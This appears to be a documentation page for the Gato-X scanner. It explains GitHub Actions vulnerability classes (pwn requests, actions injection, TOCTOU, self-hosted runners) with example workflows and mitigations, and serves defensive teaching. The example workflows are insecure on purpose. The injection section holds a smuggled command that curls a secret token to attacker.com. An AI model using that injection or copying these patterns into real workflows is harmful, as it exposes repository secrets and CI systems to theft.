Understanding GitHub Actions Vulnerabilities¶
This page provides detailed explanations of the vulnerability types that Gato-X can identify in GitHub Actions workflows.
Pwn Requests¶
Pwn Requests are a class of vulnerabilities that allow attackers to execute code in a GitHub Actions workflow by submitting a pull request.
How They Work¶
- A repository has a workflow that uses the
pull_request_target
event trigger - The workflow accesses user-controlled content from the pull request
- The workflow executes this content with elevated permissions
Example Vulnerable Workflow¶
name: Vulnerable Workflow
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run script from PR
run: |
chmod +x ./scripts/build.sh
./scripts/build.sh
Why It's Dangerous¶
The pull_request_target
event runs with the permissions of the target repository, including access to secrets. By checking out code from the pull request and executing it, the workflow allows attackers to run arbitrary code with these elevated permissions.
Actions Injection¶
Actions Injection vulnerabilities allow attackers to execute arbitrary code by injecting malicious input into workflow steps.
How They Work¶
- A workflow uses user-controlled input (like issue comments or PR titles)
- This input is used directly in commands or scripts without proper validation
- Attackers can inject shell commands that will be executed by the workflow
Example Vulnerable Workflow¶
name: Issue Comment Handler
on:
issue_comment:
types: [created]
jobs:
process-comment:
if: contains(github.event.comment.body, '/deploy')
runs-on: ubuntu-latest
steps:
- name: Process deployment request
run: |
ENVIRONMENT=$(echo "${{ github.event.comment.body }}" | awk '{print $2}')
./deploy.sh $ENVIRONMENT
Why It's Dangerous¶
In this example, an attacker could comment /deploy prod; curl http://attacker.com/exfil?token=$SECRET_TOKEN;
to inject additional commands that would be executed by the workflow.
TOCTOU Vulnerabilities¶
Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities occur when there's a gap between when a workflow checks conditions and when it uses resources.
How They Work¶
- A workflow checks conditions (like branch protection or permissions)
- Between the check and the execution, the conditions change
- The workflow executes with assumptions that are no longer valid
Example Vulnerable Workflow¶
name: TOCTOU Vulnerable Workflow
on:
workflow_dispatch:
inputs:
branch:
description: 'Branch to deploy'
required: true
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.inputs.branch }}
- name: Check if user has write access
id: check_permissions
run: |
# Check if user has write access to the branch
if [[ $(gh api repos/${{ github.repository }}/collaborators/${{ github.actor }}/permission | jq -r .permission) == "write" ]]; then
echo "::set-output name=has_permission::true"
else
echo "::set-output name=has_permission::false"
fi
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Deploy
if: steps.check_permissions.outputs.has_permission == 'true'
run: ./deploy.sh
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
Why It's Dangerous¶
In this example, an attacker could have write access when the check is performed, but lose it before the deployment step. Alternatively, they could modify the branch content after the check but before the deployment.
Self-Hosted Runner Vulnerabilities¶
Self-hosted runners can introduce various security risks, especially when they're configured to run workflows from public repositories or forks.
How They Work¶
- A repository uses self-hosted runners for its workflows
- The runners are configured to run workflows from public repositories or forks
- Attackers can submit workflows that execute on these runners
Example Vulnerable Configuration¶
name: CI on Self-Hosted Runner
on:
pull_request:
branches: [ main ]
jobs:
build:
runs-on: self-hosted
steps:
- uses: actions/checkout@v3
- name: Build and test
run: |
npm install
npm test
Why It's Dangerous¶
If this workflow runs on pull requests from forks without approval requirements, attackers can submit malicious workflows that execute on the self-hosted runner. This could lead to:
- Access to secrets available to the runner
- Access to the runner's file system and network
- Potential lateral movement within the organization's network
- Persistence through the Runner-on-Runner technique
Mitigation Strategies¶
For Pwn Requests¶
- Avoid using
pull_request_target
when possible - If you must use it, don't check out untrusted code
- Use
github.base_ref
instead ofgithub.event.pull_request.head.sha
- Implement proper input validation
For Actions Injection¶
- Validate and sanitize all user inputs
- Use explicit allow-lists for permitted values
- Avoid using user input directly in commands
- Use GitHub's
contains()
function with an array of allowed values
For TOCTOU Vulnerabilities¶
- Minimize the time between checks and actions
- Re-verify critical conditions before executing sensitive operations
- Use GitHub's built-in permission checks when possible
For Self-Hosted Runners¶
- Use ephemeral runners that are destroyed after each job
- Implement approval requirements for workflows from forks
- Run runners in isolated environments (containers or VMs)
- Apply the principle of least privilege to runner permissions